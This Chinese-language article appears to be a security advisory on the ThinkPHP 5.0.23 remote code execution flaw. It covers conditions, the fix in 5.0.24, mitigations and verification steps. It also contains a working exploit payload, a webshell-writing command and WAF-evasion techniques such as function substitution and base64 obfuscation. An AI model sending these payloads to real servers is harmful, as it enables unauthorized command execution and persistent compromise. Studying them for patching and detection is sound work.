thinkphp 5.0.23远程代码执行漏洞属高危框架缺陷,攻击者无需认证即可通过\_method=\_\_construct与filter[]参数调用system等函数执行任意命令;需满足版本在5.0.0–5.0.23且未开启强制路由,修复方式为升级至5.0.24或配置web层拦截及禁用危险函数。

ThinkPHP 5.0.23 的远程代码执行(RCE)漏洞属于高危框架级缺陷,攻击者无需认证即可通过构造特定请求调用危险函数(如 system、exec、phpinfo),直接执行任意系统命令。漏洞利用门槛低、危害大,但修复方式明确且简单。
漏洞利用的关键条件与典型POC
该漏洞生效需满足两个前提:目标使用 ThinkPHP 5.0.0–5.0.23 版本;未开启强制路由(默认关闭,因此绝大多数部署均受影响)。
核心利用链依赖对 Request 类构造函数的劫持,通过覆盖内部属性实现命令注入。最常用且稳定的有效载荷(POC)为:
- URL路径:/index.php?s=captcha(或任意合法路由点,如 /index.php?s=index/index)
-
POST数据:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
发送后若返回类似 uid=33(www-data) gid=33(www-data) 的系统信息,即确认漏洞存在。其他常见命令可替换 id,例如 whoami、ls -la、cat /etc/passwd 或写入 Webshell:echo '<?php @eval($_POST[cmd]);?>' > shell.php。
绕过WAF和基础防护的常见手法
部分 WAF 或 Nginx 配置会拦截含 system、exec 等关键字的请求,但漏洞本质是属性覆盖+过滤器调用,因此可通过以下方式绕过:
- 使用等效函数:将
filter[]=system替换为filter[]=passthru、filter[]=shell_exec或filter[]=assert(需 PHP 配置允许) - 编码混淆:对命令参数 Base64 编码后再解码执行,例如:
server[REQUEST_METHOD]=echo%20L2V0Yy9wYXNzd2Q=|base64%20-d - 分段写入:先创建空文件,再追加内容,规避单次长 payload 被截断或过滤,例如:
touch x.php && echo 'xxx' >> x.php
官方修复方案与安全加固建议
ThinkPHP 官方已在 5.0.24 版本中修复该问题,核心修改包括:
- 限制 _method 参数仅允许指定白名单方法(如 GET、POST、PUT、DELETE),禁止传入
__construct等魔术方法 - 对 filter 参数增加类型校验,拒绝非字符串或非回调类型的值
- 在 Request::method() 中移除对未过滤 POST 参数的直接反射调用逻辑
生产环境应立即升级至 5.0.24 或更高版本。若因兼容性无法升级,可临时采取以下缓解措施:
- 在 Web 服务器层(Nginx/Apache)添加规则,拒绝包含
_method=__construct或filter[]=的请求 - 禁用调试模式(
app_debug = false),避免错误信息泄露路径和类结构 - 配置 PHP 禁用危险函数:在
php.ini中设置disable_functions = system,exec,passthru,shell_exec,proc_open,popen,pcntl_exec
验证修复是否生效的方法
升级或加固后,必须进行有效性验证:
- 重放原始 POC 请求,响应应为 404、500 或空白页,**绝不返回命令执行结果**
- 尝试访问
/index.php?s=/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1(另一条经典 RCE 链),同样应失败 - 检查日志中是否仍有大量含
_method=__construct的异常访问记录,若有则说明前端拦截未生效











